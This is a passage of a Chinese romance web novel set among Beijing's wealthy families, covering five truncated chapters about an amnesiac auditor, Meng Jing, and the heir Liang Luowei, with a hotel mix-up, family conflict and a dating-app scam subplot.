《绝版昨夜[京圈]》 1. 第一夜 《绝版昨夜[京圈]》全本免费阅读 十一月，京城。 乌云遮挡住原本绚烂的晚霞，夜色瞬间降临。王府中环新换了3D裸眼大屏，此时正在插播一条大风蓝色预警的天气预报，驻足游客纷纷裹紧衣衫，不再流连满眼霓虹。 隔壁街上，半岛酒店的大堂灯火璀璨，来往的宾客不多，门童正在安静的换班，制式皮靴踩在光洁的地板上，发出规律的脚步声。 大boss临时找女伴，孟婧匆忙回国，连礼服都没有准备。梁家的车到达酒店停车场时，她还在一层的CHANEL。 试衣间里依稀能听到远处教堂的钟声，孟婧默数着，一共响了六次。 “这套总可以了吧。”她无奈地拉开帘子，第三次站到穿衣镜前。 及腰黑色卷发将她的温婉衬托得更加精致，修身晚礼裙勾勒出恰到好处的S曲线，黑色缎面材质衬得皮肤更加白皙。背部的镂空和缝制的水晶恰到好处，让孟婧整个人集优雅和性感于一身。 店员为她披上灰色羊毛披肩，戴上珍珠项链后更显雍容华贵。 “Perfect！”Devin两眼放光，表情仿佛看到了天使。 “会不会太隆重了？”孟婧准备换一条素些的项链，毕竟今晚去梁家是公事，她不想太招摇。 “Sandra，今天是梁的生日，你作为本贵宾的女伴，这样打扮已经很低调了OK？” PPWC作为国际知名事务所，已经和梁氏集团合作多年。一个月前，梁氏集团海外分部被孟婧所在项目组查出存在重大舞弊，两周后，PPWC中国项目组即将进入梁氏集团总部进行进一步审计。 合伙人Devin此次提前抵京，以私人身份受邀参加梁珞唯二十八岁生日宴。 孟婧没料到梁家宴会规格高至这般，一边在心里咋舌自己没见识，一边庆幸她的辞职申请还没有被批准。 要是按她原先的计划，独自去找梁珞唯，说不定连梁府大门都进不去。 迈巴赫一路开向西山，走走停停，快到梁宅时竟遭遇堵车。 蜿蜒的山路看不到尽头，孟婧望向前方星星点点的车灯，无意识地按着手机的锁屏键。 从拐到某条路上开始，若有似无的熟悉感便萦绕在她脑海中。不知道是某个梦中曾经出现过，还是她真的来过这里。 或许和那段空白的记忆有关。 手机屏幕在幽暗的车内存在感极强，一个肉嘟嘟小粉团子的特写忽明忽暗。小男孩睫毛浓密，落满星星的眼睛正看向屏幕外。 “Sandra，不要再折腾Toby了。”Devin指着她的手机打趣，“分离焦虑症？” 孟婧这才发现自己的异常，笑道:“我只是…怕迟到不符合礼仪。” “我也没那么古板。”Devin看出这是借口，也不拆穿，“你提前回国，Toby怎么办？” “Jane接送他上幼儿园。”孟婧将手机放进手包扣好，“Toby很喜欢那里，有时候会主动要求留宿。” “时间过得真快啊。”Devin感叹，“签证的事，如果有困难，可以找我帮忙。” “谢谢，已经在办了，还算顺利。” 车内音响中播报着天气，主持人说今晚有雪，孟婧看向窗外。 夜空中，浓云遮住月色，朦朦胧胧的，什么都看不清。 又等了一会儿，迈巴赫的前后方向逐渐响起此起彼伏的喇叭声，孟婧和Devin的身子跟着一歪，发现司机正将车头扭转，拐向不远处的另一条小路。 Devin讶异看着被甩在身后的一众豪车：“他们不是去梁家的吗？” “这是通往后院的路。”孟婧脱口而出。 话音未落，连自己都被吓到。 梁家的司机受过专业培训，从他们上车起便安静地像个假人，此时透过后视镜看了一眼后座，依旧没有说话。 孟婧察觉到落在自己身上的目光，背上泛起一层薄汗。她露出一个天真的笑：“我乱猜的。” 温柔又无害。 —— 西郊有京城最高档的别墅群，但鲜有人知的是，梁家并不在其中。 迈巴赫绕过星星点点的豪华建筑，驶入孤山。车灯划破夜色，五分钟后，穿过机械开垦出的一大片园林和作物，又绕过无数精致的传统瓦房，终于开到金碧辉煌的前院。 司机在宴会厅前停好，为孟婧开门。这里离停车场不远，放眼望去尽是花花绿绿的轿跑。孟婧右手在寒风中收紧披肩，左手轻轻挽上老板的手臂。 顶级乐团现场演奏，奢华的水晶吊灯璀璨耀眼，满堂觥筹交错间，Devin携孟婧入场。 感受到四面八方投来的目光，孟婧捏紧手包，优雅地跟在老板身侧。这是她五年来第一次回国，也不知道在场的是否有孟家和沈家的人，如果有，会不会认出她。 花瓶随老板绕场一周，被敬了不少酒，趁Devin去洗手间时，孟婧忍着微醺，到甜品台旁休息。 一个从国外回来的小职员，没人会刻意避开她讨论八卦。 “我听说，今晚不仅是梁二少的生日宴，还是他和张家小姐的订婚宴。” “什么？梁珞唯不是有个娃娃亲吗，好多年前，梁家老爷子亲自宣布的。” “有是有，不过听说五年前死啦！好像姓孟。” “哎呀娃娃亲算个屁，张家可是科技新贵，多少人巴不得去当上门女婿呢。哎你猜怎么着，人家小女儿偏就看上梁家这个忤逆子了。” “嗨，懂，男人不坏女人不爱嘛，人家虽然混账，但是长得帅啊！” “嘘，小点声，小心被梁少听见，找人打折你的腿！” 听到别人提及孟梦，孟婧有一瞬的出神。距离她去世已经很久了，可面对那个多事的暑假，她却什么都想不起来。 “这位女士，您的手机在响。”侍者温和提醒。 “啊…不好意思。”孟婧揉了揉太阳穴，拿出手机，来电显示是沈确。 现场的乐声嘈杂，她按下接听键往门外走：“妈。” “回国了。”沈确那边倒是安静，语气也冷淡：“有人在梁家看见你。” “今天刚到。”寒风刺骨，孟婧裹紧披肩融入夜色。 “还有机会。”沈确意有所指，“梁珞唯不会和张家订婚，那是他哥的主意。” 又是这种理所当然的揣测。 孟婧忽然感到深深的疲惫和窒息，不知是因为时差不习惯，还是因为酒喝得太多。 “妈，梁珞唯和谁在一起都与我无关。当初和他定娃娃亲的是孟梦，不是我。孟梦走后，这门亲事就算没了。” “你这么说，对得起你外公？”沈确声音高了不少，“五年前的事，你都不记得了吗。” 五年前…无意的抱怨却刺中孟婧心中最脆弱的地方。 身体越来越冷，头部传来熟悉的痛感，她趔趄几步，撑在不远处的花坛边：“是，全忘了，您满意了么。” 眼前黑掉的同时，她挂断了电话。 * “梁珞唯你混蛋！”不知何处传来女人尖锐的叫声。 孟婧皱了皱眉，逐渐感受到被冻僵四肢的存在。脸上冰冰凉凉的，像在被小动物舔舐，又轻又痒。 睁开眼才发现，是下雪了。 “梁珞唯，不管怎么说，我对你是真心的！梁总已经同意了我们的婚事，说好今晚宣布，你不能…不能…” 梁珞唯，阴魂不散的名字，却是她今晚计划要见的人。 孟婧重新裹好披肩，抖落上面的雪花，往不远处看。 男人身高在188cm以上，身披正肩黑色呢子大衣，宽肩窄腰，利落剪裁的西裤彰显一双长腿。 暖黄光晕下，他微微低着头，肩膀和皮鞋上落满初雪，整个人像一座矜贵的雕像，散发着无尽 2. 第二夜 《绝版昨夜[京圈]》全本免费阅读 “近日，霖市发生一起大货车追尾事件，出租司机当场身亡，乘客为霖市B大大四学生，目前扔在抢救中。” 心脏检测仪上逐渐变成一条直线，数据线另一头的指夹轻微颤动，孟婧眉头紧皱着，却始终睁不开眼。 断断续续的新闻播报伴随着嘈杂而朦胧的脚步声，由远及近，由模糊到清晰，逐渐飘进她的耳朵。 紧接着，她闻到刺鼻的消毒水味，其中似乎还混着汗味、烟味和血腥味。 “孟婧！孟婧！” 好像有人在拍她的肩，孟婧用尽全力睁开眼，却发现自己躺在CT检查室。 金属床板及其冰冷，机器的轰鸣声伴着医生的忠告回荡耳边：“你脑中的血块随时会影响神经系统，要尽快手术。” “手术成功率呢？”她揉着眼睛问。 眼前的画面变了，她的脑部CT照片出现在医生办公室。 医生正指着它一本正经地说：“你不是孟家的女儿，你的是沈确的私生女。” “我不是！”孟婧大声争辩着。 再抬头，那医生又变成沈确的脸：“孟婧，妈妈恨你。” … “不！”孟婧在强烈且压抑的心悸中醒来。 太阳穴突突地跳，真丝枕套被泪水浸湿，强烈的光线晃在脸上，她皱着眉眯眼看，发现床头的灯没关。 刚才…是梦。 闻着四季套房中独有的调香，梦魇给人的压抑感逐渐散去，孟婧揉了几下眼睛，惊叹自己居然在有光的情况下睡着了。 可见昨晚醉得多厉害。 头还是很痛，她伸着懒腰，顺手按住电动窗帘的开关，像每天起床的步骤一样。熟悉的布料摩擦声从身后响起，阳光顺着缝隙丝滑地洒下。那束光移动再移动，终于落在面前的床头柜上。 床头柜上摆着的是…一盒烟？ “吵死了…” 沙哑的男声从背后传来，孟婧还没来得及反应，就被拖进一个燥热的胸膛。耳廓染上湿热的呼吸，荷尔蒙特有的气息在晨间拉满，从未与异性有过如此亲密的肢体接触，孟婧心跳加速，身体瞬间紧绷。 不对，这不是她的房间！卧室门上没有挂风铃，床尾的挂烫机消失了，玻璃衣柜中空空如也，不见衣服和包包的踪影。 整个房间空得像是第一次入住，完全找不到任何生活的痕迹。 酒后乱.性？低头看了看，虽然连衣裙不知道去哪儿了，但吊带和安全裤却没有穿脱的痕迹。 环住她的那只手臂存在感极强，源源不断散发着男性才有的炙热体温，孟婧炸着毛胡乱推开，下床还不忘把被子全部卷到身上。 于是回头时，便看到了一片雪白的背肌。 男人身材极好，赤着上半身趴在床上时，让她想起被海水冲上岸的人鱼。微长的刘海盖住眼睛，高挺的鼻梁将枕头顶出细微的凹陷，棱角分明的下颌收进肩窝中，有种说不出的性感。 孟婧呆坐在床侧的地毯上，半天才发现自己手机就掉在不远处。捡过来打开，屏幕上正播放她相册里的照片。 这是一张工作照，戴着金丝框眼镜的英俊男人，西装笔挺地在投影幕布前负手而立，看起来斯文矜贵。 “William…” 眼前的照片和酒后记忆逐渐融合，刚刚平息的心脏再次剧烈跳动起来，孟婧睁大眼睛，不可思议地看向床上。 * 前一晚，四季酒店顶层露台。 京市的夏天闷热，好在傍晚刚下过雨，晚风吹过，竟也有难得的清凉。 酒店每年七八月份都会在顶层建临时吧台，搭配当年最流行的网红软装，仅供VIP客人享用。 “孟小姐，实在抱歉。”值班赵经理和孟婧相熟，“今晚有人在这里办party，吧台那边被包了。” “没关系，我自己带了喝的，就在角落坐一会儿。” 孟婧回酒店时淋了雨，在房间洗过澡后，想上来看看彩虹，没料到，一向安静的露台上竟人声鼎沸。 刚刚见识了那帮人里有耍酒疯的，赵经理有点担心，也不好明说：“就是挺吵的，你待一会儿就回去吧，别吹感冒了。” “好。” 孟婧没心思客套，径直走到角落处，将一沓冰镇啤酒放到露台边沿。 她的头发还没干，带着香气的水珠滴落在白色连衣裙上，洇出淡淡水渍。 今天就不该出门。 仰面靠着躺椅，孟婧开了一罐啤酒，晃着光洁白皙的小腿，淡淡看着远方天空。 不到八点，暴雨过后的晚霞散得极快，天空虽然晴了，却也逐渐染上墨色。 她举起手机，却怎么都找不到完美的角度。咔的一声，屏幕上出现一片漆黑的夜空，既丑陋又无趣。 原来人在倒霉的时候，连彩虹都不出现。 可就算这样，她还是被肌肉记忆控制，登录FINDER，点开置顶联系人，选了那张不知所云的照片，发送。 又是一个红色感叹号。 抵京后，对方主动爆照、立刻拉黑，一系列的操作让人摸不着头脑。此时，软件中已经无法显示两人的距离，孟婧向上翻着聊天记录，心中的委屈、憋闷越发不受控制。 “大猪蹄子！” 骂了还不解气，她又抬脚狠狠踢了一下掉在地上的啤酒包装，叮叮当当声过后，全身凹陷的易拉罐滚到露台边沿，卡在了两根护栏中间。 生气的喊声引得吧台方向的关注，几个男人饶有兴味地看向白裙，互相对视一眼，心思了然。 “谁带来的小姐姐，怎么一个人在那儿。”其中一个金发吹了声口哨，系好衬衫领口，从吧台上拿起一杯长岛冰茶。 另外几个人吁了两声，散漫地随着音乐晃着，坐等看好戏。 还没走出几米，不知谁小声说了句“梁少又来了”，气氛顿时变了。 有人循着声音偷看，有人拿起镜子补妆，还有人开始捡起到处乱扔的酒瓶。 金发愣了一下，随即调转脚步，朝着走过来的男人露出略带谄媚的笑：“梁少，阿涟这就回去了？” “嗯。”梁珞唯刚才上楼找人，只是匆匆一瞥，如今看仔细了满场的狼藉，更是心烦得厉害。 “阿涟的单身夜，怎么不找个bar。”他随手拿过金发手中的酒，不管里面是什么便一饮而尽，“在这儿多没意思。” 他今晚被大哥临时叫来，劝刁涟早点回家，根本没准备参加这个闹哄哄的party。 不同于以往浑身大牌的冷酷造型，今天的梁珞唯身着简单的黑色T恤和牛仔裤，多了些亲和。饮酒时，凌厉的下颚微微扬起，随着吞咽而滚动的喉结性感至极。 在场很多异性都听说过梁家二少在外的花名，有胆子大的，鼓足勇气想趁机刷刷存在感：“明天还有订婚仪式，阿涟也不敢闹得太厉害，要是梁少觉得无聊…不如晚点儿带我们续个摊儿？” “我倒是想。”梁珞唯嘁了声，脸上不带一丝笑容，桃花眼半眯着，散漫没有焦点，“就是怕被我哥打死。” 众人见他主动开玩笑，紧张的气氛也有所放松：“这世上敢让二少低头的，也只有大少了吧。” “得了吧。”梁珞唯走近吧台，挑了一瓶黑啤，“我的旧伤，你们肯定有人见过。要说都是小时候我爸打的，信么？” 在场的皆是富家子弟，同辈还能斗胆开一开玩笑，但梁家家主梁屹承的瓜，可没人咽的下去。 尤其这还是人家的地盘。 “嘿嘿，梁少还是这么幽默。” 金发瞧着气氛尴尬，解释道：“明天还要参加梁大哥和阿涟的订婚仪式，您来之前我们就准备结束呢，只是刚才…” 他给梁珞唯使了个眼色，眼神瞟向不远处的露台边：“刚才看到那边有 3. 第三夜 《绝版昨夜[京圈]》全本免费阅读 孟婧的回忆到这里戛然而止，后续两人是怎么回来的，又到底做了什么，怎么想都是空白。 不过凭借仅存的记忆，已经足够孟婧崩溃了。 凭什么他就可以明目张胆的说认错人？她是没谈过恋爱，又不是瞎。要不是三观不小心跟着五官走了，刚才肯定要把他踹下床。 当她站起身，准备对William真的踢上一脚时，手心传来震动，沈确打来电话。 孟婧这才想起，解锁手机时似乎看到了几个未接来电，都来自沈确。沈确很少主动给她打电话，一连打了这么多次，也许真的有急事。 可一想起昨天下午的不欢而散，她本能地想要逃避。两秒钟后，手机仅存的电量终于耗尽，自动关机了。 与此同时，她的手腕被人猛得钳住，啪的一声，黑屏的手机掉落在地。 孟婧纤细的身子哪经得起这般蛮力，几乎是一瞬间就被人压在床上。手腕被男人灼热的掌心紧紧攥着，一动也不能动，吓得她一时间忘记了挣扎。 梁珞唯发丝间隐隐有汗珠，蓝黑色的眸子中暗含不清明的狠厉，声音沙哑：“谁！？” 呵，又是这句。 “William!”孟婧双腿用力挣扎了几下，“你放开我！” 在成年男人的绝对体力优势面前，女人什么也做不了。她开始后悔刚才没有直接夺门而去，什么看脸的世界，呸。 此时的梁珞唯也不好受，他又做了那个血腥阴暗的梦，被熟悉的疼痛和晕眩感折磨着惊醒，还没分清梦境和现实，就下意识地出了手。 待看清眼前面露愠色的漂亮女人，才渐渐缓过神来。他怔了怔，翻身松开孟婧，握起拳头：“抱歉。” “昨晚…” 好像怎么解释都像个渣男，他揉着太阳穴，用余光瞟了眼自己光着的上半身和穿戴完整的牛仔裤，决定先找手机。 记忆还停留在昨天下午，梁庭什来电，让他帮忙去一趟四季，把刁涟送回家，不要耽误第二天的订婚仪式。 怎么会变成现在这样。 “还敢提昨晚…”孟婧看对方也是一副断片的状态，不愿再多纠缠，她现在只想赶快离开这里，“我的裙子去哪儿了？” 梁珞唯没有理她。他起身下床，开始在房间各处翻找，后背和手臂的肌肉时而紧绷，露出流畅而性感的线条。 “我看过了，没有衣服。”孟婧大着胆子问，“你在找什么？ “手机。”在卧室和客厅找了一圈，梁珞唯进了卫生间。 洗手台干净整洁，垃圾桶也空无一物，就连淋浴也是干干净净，毫无使用痕迹。梁珞唯松了口气，打开冷水洗了把脸。 不管怎么样，外面那个女人…一定知道些什么。 “William.”孟婧微弱的声音从客厅传来，“你快出来，有人在按门铃。” 她已经从刚才的惊恐中抽离出来，透过猫眼窥探时，像个贴在门上的雪人:“应该是客房服务。” 梁珞唯取下手边架子上的浴袍，自己披了一件系好，走到客厅，将另一件扔到孟婧头上。 “去里面换。” 拖着被子光着脚，是想勾引谁。 将理好的浴袍扯松一些，梁珞唯打开门，整个人懒散地斜靠在门框边，气场瞬间切换成另一个人:“张经理，真够早的。” “二少。”来人是客房部负责人，脸上挂着尴尬的笑，“这是烘干好的衣服，还有您的手机，昨晚落在露台上，被刁小姐的朋友捡到的。” 梁珞唯没接，只是皱眉盯着他，神色烦躁：“才几点就来吵我，给个解释。” 张经理下意识往房间里看了看，脸色瞬间由尴尬转为紧张。莫非他打扰了梁少的好事？这是昨晚还没结束，还是今早又开始新的一轮啊… 他看着梁珞唯冰块一样的脸，抹了把冷汗:“大少知道您留宿，特地让我来叫早，可能是怕您玩儿的太开心，忘记今天的…” “没忘。”梁珞唯打断他，接过衣服和手机，“下次再透漏我的私事给别人，你就干不了这行了。” “不是，我也…”咣的一声，争辩的声音被隔在门外，没了后续。 孟婧刚才一直在门后听着，听得脖子都红透了，她抢过梁珞唯手上的裙子，结结巴巴地说:“你怎么也不解释一下…” 梁珞唯冷着脸解锁手机，另一只手往卧室指了指，显然不想再说第二遍“去换衣服”。 “懂懂懂。” 孟婧拿着裙子去了卫生间，还特地上了锁。没想到穿戴整齐出来时，男人还在原地维持着刚才的站姿。他脸上的表情更差了，修长的指尖不断地滑动屏幕，用力到泛白，好像要把屏幕戳碎。 “没什么事我就先走了，昨晚的事…就当没发生过吧。”孟婧咬牙说着小说里才会有的台词，扭着自己的裙角，不敢看他。 “不行。”头顶传来凛冽的男声，“先留下联系方式。” 孟婧以为自己听错了，眼中尽是不可思议：“你说…什么？” 对方的耐心似乎耗尽：“电、话、号、码。” 电话号码？孟婧反应了几秒，气笑了。 这个人先在FINDER里和她网恋，在她来奔现的路上爆了照，之后火速拉黑她，然后现在，居然管她要电话？ “可以给你。”她咬紧下唇，仰头盯着他的蓝黑色瞳孔，“但你要先从FINDER的黑名单里把我放出来！” 她不等对方反应便夺门而出——猛地打开，轻轻关上。勇气不多，只够支撑说完刚才那一句狠话而已。 进了走廊才发现，这间套房和她平日住的套房不仅是同一层，离得也很近。孟婧再次暗骂自己的懦弱，如果当时直接跑出来，回到自己房间，可能也不会有人发现。 走出几步又拐了个弯，孟婧顿住脚步。 一位全身黑色西装的美妇正站在她房间门口，她面色憔悴，塌着背，靠着的墙上映出正在颤抖的影子。 “妈？”孟婧有点意外，想起那一连串未接来电问道，“出什么事了？” 沈确从很远的地方就开始盯着她看，眼底有道不明的负面情绪，她把孟婧从上到下打量了十几秒，等两人靠近了，才缓步走上前。 “啪！” 狭窄的空间里回荡清脆的巴掌声，感应灯应声亮起，刺眼、灼热，照在孟婧瞬间红肿的侧脸上。 * “你说什么！？录音被人删了？”梁曼惊得差点把粉扑戳进眼睛。 “小点声，吵死了。”梁珞唯右手臂搭在车门上，揉着太阳穴，“有办法修复？” 今天梁曼为了蹭王姨的早餐，特地提前出门，即使半路接上梁珞唯，到梁宅时，也还不到八点。 参加订婚仪式的宾客还没到，停车场里零星几辆车，衬托得红色布加迪格外扎眼。 “ 4. 第四夜 《绝版昨夜[京圈]》全本免费阅读 梁珞唯沉默着捡起脚边的东西。 纤长的睫毛在面颊扫下阴影，蓝黑色的眸中变幻着情绪，从随意到专注，从压抑到坦然，只用了不到半分钟时间。 照片虽然又皱又脏，但画质清晰，毫无ps痕迹，绝无认错的可能。 视角是偷拍，偷拍对象是梁珞唯和刁涟，地点在四季酒店一层的洗手间门口。 梁珞唯背对画面低着头，而刁涟正抓着他的胳膊，仰着脸踮起脚尖，两人姿势亲密、暧昧，看起来像在接吻。 “这能说明什么。”梁珞唯耸耸肩，将照片放进口袋，“昨天是哥让我去接她回家的，有什么问题，您可以问他。” 梁屹承眯着眼睛，将他的动作和表情尽收眼底，语气带着玩味：“听说昨天晚上，你睡在四季。” “酒店都是梁家的，我不能睡？” “就只睡觉，一个人？”梁屹承起身走到书桌前，“梁珞唯，再不认真回答，等着你的就是牢狱之灾。” 梁珞唯噗嗤一声笑，双手插进西装口袋中：“一个二十三岁的成年男人，跟谁睡觉，没必要和家里报备吧。” 梁屹承看他还在嘴硬，往前走了两步，轻声说：“那就去和警察报备吧，反正你丢梁家的脸也不是一次两次了。” 梁珞唯皱起眉，终于和父亲对视。 记忆中的梁屹承变态、狠辣、强势，是不可逾越的山峰，这些年，他一直试图摆脱这无孔不入的掌控，可后来才发现，令自己深陷泥潭的原因，从来都只是童年的阴影。 梁屹承对于梁珞唯神色的变化非常满意，这种达到目的的快.感驱使他透露更多：“知道这张照片是从哪里来的么。” 梁珞唯咬着牙，本就凌厉的下颌线更添棱角，他知道，梁屹承在持续地观察他、揣测他，试探他。 “算了，没意思。”梁屹承走回书桌旁，“还记得一个叫孟梦的女孩儿吗？” 没等梁珞唯回答，梁屹承便自顾自说道：“当年你爷爷瞒着我，带你下江南，回来以后说，给你定了娃娃亲，还记得吧？” 梁珞唯当然记得。母亲自杀那年，爷爷带他去了南方很多城市，在拜访一位老友的故居之后，告诉他，今后要娶一个姓孟的女孩儿，只有这样，梁屹承才不会抛弃他。 当年梁珞唯还小，整个人还沉浸在死亡的恐惧中，根本没有把这件事放在心上。后来，孟家整个家族搬到京城时，他刚好出国留学，彼此更是毫无交集。 “怎么，哥的婚事还没落听，您已经开始琢磨怎么利用我了？” “是该重新考虑。”梁屹承转身拿起桌上的手机，“因为那个姓孟的女孩儿，昨晚死了。 他说得一本正经又云淡风轻，好像一个人的死亡是很稀松平常的事情。 梁珞唯放在口袋中的手用力握成拳头，缓缓开口：“谁干的。” “你这孩子，思想还是这么暴力。”梁屹承被他逗得哈哈笑了两声，将手机递过来，上面是一段道路监控视频。 “酒驾，车祸，在开往这里的山路上。” 梁珞唯只看了一眼，便问：“照片和她有关？” “不算太笨。”梁屹承收回手机，“梁家的人比警察先到，在距离事故十几米外的草丛里捡到的这张照片。如果不是我替你遮掩，恐怕今早去送衣服的就是警察了。” 梁珞唯眼神一暗：“还是您厉害，本来与我无关的事情，被这么一说，好像我既欠了孟家，又欠了梁家。” 梁屹承回到座位上，双腿交叠，右手腕撑在书桌台面，整个人散发出强大气场：“虽然警察认定只是单纯的酒驾事故，但如果你再这么不着调下去，闯了祸，别以为梁家会护着你。” “不劳您费心。”梁珞唯将口袋中的照片拿出来，扔到梁屹承面前，“谁不知道，梁家二少万花丛中过，片叶——不、沾、身。” 骨节分明的指尖点在照片上，梁珞唯意味深长地看着梁屹承：“嫂子是个厉害的，这还没进门儿呢，梁家就要天翻地覆了。” 梁屹承告诫：“我知道，刁家那丫头小时候对你有意思，但这么多年了，庭什对她的感情和付出，所有人都能看到，你喜欢玩儿，我也从没拦着，但刁家，决不能得罪。” 他从桌上拿起一份新的文件，不再看梁珞唯：“你的工作也该换，梁曼一个女人瞎胡闹就算了，什么恋爱软件，简直不像话。” “我说了，不劳您费心。” 到了一楼餐厅，新做的早餐已经摆了满桌。曼特宁的香气充满整个房间，是梁珞唯喜欢的味道。 他拿起一杯品着，问：“王姨，曼姐还没来？” “瞧给我忙得，都忘了你不喝这种。”王姨拿来炼乳和牛奶加进去，“小曼出去接电话了，好像是公司有点事儿，看着挺严肃的。” 漆黑的液体染上洁白奶花，彼此交融过后，几乎失去自己原本的味道。梁珞唯觉得无趣，看向院子：“我去找她。” FINDER是一款风靡欧美的交友软件，进入中国市场时水土不服，处于下线边缘。梁曼觉得这是机会，用自己的私房钱买断，成立团队重新开发。这些年，梁珞唯偶尔会去帮忙解决一些bug，只不过在外人眼中却成了——找机会和漂亮女同事约会。 梁曼见梁珞唯出来，皱着的眉头总算舒展一些：“正想找你呢，FINDER那边出了点事。” 梁珞唯问：“怎么了？” 梁曼做了个深呼吸：“昨晚有人报警，说是FINDER的内部人员利用职务之便，搞杀猪盘那套，骗了不少钱。” “警察去公司抓人了？” “昨晚网警就查到了，是市场部赵经理，在昨夜酒吧抓的人。” * “昨——夜——酒——吧！” 谭思思念着闪烁霓虹灯牌上的大字，面露新奇之色：“林屿，你觉不觉得这个名字…额，听起来怪怪的。” 林屿刚从医院下班，穿着浅绿色衬衫和米色休闲裤，看起来正直挺拔，玉树临风，和酒吧门口的懒散气氛格格不入。 “我没怎么去过酒吧。”他看了眼群里的消息，“咱们在门口等一会儿，孟婧来了一起进去。” “必须的。”谭思思第一次来京市，也从没见识过酒吧一条街，她满脸兴奋道，“也不知道她会不会带男朋友来。” 作为高中校友，林屿大她们两届。三人在霖市读语言学校时相识，课程结束后各奔东西。 谁知孟婧前脚来网恋奔现，林屿后脚就到这里的医院实习，谭思思早就计划趁这个暑假游遍全国，自然把第一站放在了京城。 晚风吹过林屿的衣角，空气中有淡淡皂香，他看着远处喧闹的街景淡淡说：“都有可能。” 几分钟后，孟婧下了出租车。司机只给停在路口，她不紧不慢地地往巷子里走，朝不远处的两人挥手。 从医院离开后，她特地回酒店换了衣服，一直扎着的马尾散下披在肩上，搭配黑色吊带和紧身牛仔裤，雪白纤细的双臂晃得撩人。 谭思思远远朝她吹口哨：“江南小白花在北方呆了几天，怎么变身甜酷辣妹了。” 孟婧抿着唇角，快走了几步，直接冲进谭思思怀里：“谭宝，抱抱。” 谭思思拍拍孟婧的背：“这是怎么了，被人欺负了？说，是谁，谭宝替你出气！” “没事，就是…想你了。” 孟婧有点不好意思地离开谭思思的怀抱，和林屿打招呼：“学长好。” “好久不见，孟婧。”林屿露出一个温和的笑，迈开长腿走在前面，“咱们进去聊。” 昨夜酒吧是最近网上爆火的一家酒吧，以表演多元、活动新颖为卖点，吸引了京城无数年轻人前来打卡。 三人进门后被领到非会员区域，小圆桌和高脚凳，坐在主舞台的侧面。此时正在表演的是古风舞曲，几个身着大唐服饰的舞者翩翩跹跹，台下有侍者托着mini杯的米酒 5. 第五夜 《绝版昨夜[京圈]》全本免费阅读 谭思思不明所以，下意识地念：“心动距离…” “！” 孟婧飞速拿起手机，锁屏。因为动作太快，指尖还黏上了那块粉红色碎屑，看起来摇摇欲坠。 “看错了。”她盯着桌面上的啤酒渍，紧张到喘不过气。 手机被捏在掌心，似乎又震动了几下，她不知道是不是心跳导致的错觉。 “孟婧同学。”谭思思眯起眼睛，“你是在挑战我的智商吗？” 孟婧小心翼翼地环视了一下身后，并没有发现熟悉的影子。可二十米…实在太近了。 林屿看出端倪，若有所思：“他把你从黑名单里放出来了，软件显示你们的距离很近，对吗？” 孟婧满眼不可思议，丝毫没有意识到自己这幅样子才是三人里最傻的。 谭思思哼哼两声：“瞧瞧，渣男惯用伎俩。在你快要放手的时候，轻轻往回拉一把，然后你就又死心塌地去找他了。” “思思，你好有经验，一定谈过很多次恋爱吧。”孟婧假笑。 “大姐…现在是说这些的时候吗？” “嗯，不是，现在的主要任务是把他拉黑。” 孟婧咬着下唇，鞋底反复磨着高脚凳的横梁：“其实…我就是有点怂，你们不知道，他看起来有点凶。” “不如我替你和他聊聊。”林屿伸出手，“男生比较了解男生，你总该信得过我吧？” 在霖市遭遇车祸后，林屿对孟婧照顾有佳，后来还替她联系了国外的医生进行会诊，可谓有救命之恩。 在孟婧眼中，林屿踏实、妥帖，亲哥哥也不过如此了。 “当然信得过。” 只是想到被拉黑后，自己发的那些有的没的，感觉有点羞耻罢了。 “嘁，是个人都信。” 视线受阻，一个高大的身影横插在她和林屿之间。周身缠绕淡淡檀香味道，孟婧慌乱抬头，撞入那片蓝黑色的深海。 梁珞唯手肘撑着台面，拿着一杯whisky，目光懒散地低头看她：“怎么不回消息。” 酒吧五彩斑斓的灯光打在他脸上，更显眉眼深邃。 靠太近了，近到可以看清他灰色暗纹T恤上的logo，甚至伸手就能扯住他胸前的LV金属挂饰。 “没看见。”孟婧小声答道。她全身转向桌子，无意识抠着手指。 “现在看。”梁珞唯俯身在她耳边催促，“快点儿，我赶时间。” 谭思思简直看呆了，这是那个渣男？真的不是酒吧里的混血男模吗！？不对，世上哪儿有这么拽的男模。 几乎是瞬间，她就理解了孟婧的纠结，要是她遇上这样的仙品，肯定也舍不得拉黑。 林屿面色如常，维持着彬彬有礼的坐姿：“这位先生，请问您是？” 梁珞唯头都没抬，声音不带情绪：“陌生人。” 谭思思嘴角抽搐了几下，吞了吞口水，说：“我们都是孟婧的高中同学，你是…William？ 梁珞唯没承认也没否认，盯着孟婧的指尖说：“宣传范围挺广。” 孟婧脸红到脖子根，忍着尴尬打开手机，点开和William.L的聊天记录。 【William.L：[图片.jpg]】 【William.L：这个人，你昨晚见过吗？】 照片应该是在这个酒吧拍的，背景是刚才唐装舞者表演的舞台，金色头发的男人搂着一个女人，在卡座中玩儿着手机。 “没有印象。”她怯怯地问，“你是指昨天在天台上吗？” “嗯。”梁珞唯一手扶着桌沿，一手搭在孟婧的椅背上，半弓着腰，像要把人圈进怀里，“他说昨晚见过你。” “可我真的…”孟婧急于辩解，转身回头的动作有点大，脸颊差点蹭到梁珞唯的鼻尖。 梁珞唯略微起身，蹙着眉头：“好好说话。” 谭思思看着这两个人自成结界的状态，下巴都要掉在地上。奔现失败？谁信呢。 林屿轻咳一声，绕过梁珞唯去看孟婧：“学妹，刚才不是说一会儿去唱K？” 这几乎是逐客令了。 孟婧懂了他的意思，也想起刚才要和这个男人划清界限的决心，她现在不是一个人了，支棱起来！ “那个…没有其他事情的话，我先走了。”或者你先走也可以。 “不用轰人，我说两句就走。”梁珞唯回头看了眼林屿，眼神略带深意，“行吗，学长？” “思思，学长，你们等我一会儿。”孟婧抢先站起来，“这里太吵，我们去外面说吧。” 说清楚了，然后互删。 梁珞唯没有异议，跟在孟婧身后出了酒吧。 谭思思看着两人一前一后的背影，撇了撇嘴，感叹道：“连他都看出来你喜欢孟婧了，学~长~” 林屿依旧保持淡淡的笑容，拿起酒杯，望向远处的舞台。 夏夜渐深，酒吧街比刚才热闹很多，震天的音乐响彻整条街道，来来往往的俊男靓女穿梭在街边商贩的烟火之间，每张脸都那么鲜活。 孟婧推开昨夜酒吧的大门，像用尽最后一丝力气的求生者终于回到岸边，大口呼吸着新鲜空气，以此平复过于强烈的心跳。 “叔叔，给你女朋友买束花吧。” 梁珞唯走在后面，刚出来，一个五六岁的小女孩捧着花篮凑到他的脚边。 “我不是他女朋友。” “多少钱？” 孟婧别扭地看了他一眼。 小姑娘忽闪着大眼睛，面露喜色：“一支十五元，三十元三支。” 